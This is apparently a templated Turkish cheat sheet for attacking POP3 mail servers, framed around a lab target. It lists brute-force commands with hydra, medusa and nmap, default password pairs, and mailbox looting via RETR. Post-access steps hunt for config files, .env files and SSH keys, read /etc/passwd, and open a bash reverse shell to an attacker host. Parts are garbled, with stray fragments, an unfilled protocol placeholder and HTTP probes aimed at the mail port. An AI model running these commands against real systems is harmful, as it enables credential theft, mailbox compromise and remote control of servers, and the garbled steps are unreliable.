110,995 - Pentesting POP

POP3 mail

POP3 cleartext/auth ile posta çeker; zayıf parola tam mailbox demektir. Hedef lab IP’si üzerinde komutları 110 portuna göre uyarla; her başarıyı ayrı kanıtla.

Metodoloji

1. 110/995.

2. CAPA.

3. Brute.

4. RETR loot.

Keşif

nmap -Pn -sV -p110,995 TARGET

nmap -Pn -p110,995 --script pop3-capabilities,pop3-brute TARGET

openssl s_client -connect TARGET:995 -quiet

Auth/Loot

hydra -L users.txt -P pass.txt pop3://TARGET

curl pop3://user:pass@TARGET/1

USER/PASS/LIST/RETR

Derin enum

,995 - POP için ek keşif ve fingerprint.

nmap -Pn -sV -sC -p110,995 TARGET

nmap -Pn -p110 --script safe,discovery TARGET

timeout 5 bash -c 'echo | openssl s_client -connect TARGET:110' 2>/dev/null | head

python3 -c "import socket;s=socket.create_connection(('TARGET',110));s.settimeout(3);print(s.recv(4096))"

Banner / TLS / ALPN notları → ,995 - POP

Kimlik & brute (ek)

hydra -L users.txt -P rockyou.txt -s 110 PROTOCOL://TARGET -t 4

medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 110

nmap -p110 --script '*-brute' TARGET

admin/admin, root/root, guest/(boş), test/test

Exploit arama

searchsploit POP3

msfconsole -q -x 'search POP3; exit'

nuclei -u https://TARGET:110 -t cves/ -silent -severity || true

nuclei -u http://TARGET:110 -tags tech -silent || true

Manuel protokol

nc -nv TARGET 110

printf '
' | timeout 3 nc -nv TARGET 110

curl -vk --http1.0 http://TARGET:110/

Wireshark/tcpdump ile konuşmayı kaydet; replay dene

Post-erişim & loot

config, key, session, env, backup

find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head

ss -lntp; ip a; cat /etc/passwd | head

bash -i >& /dev/tcp/ATTACKER/443 0>&1

mkdir -p loot && tee loot/notes.txt

Operasyon checklist

[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu

Zincir

brute → RETR mails → credentials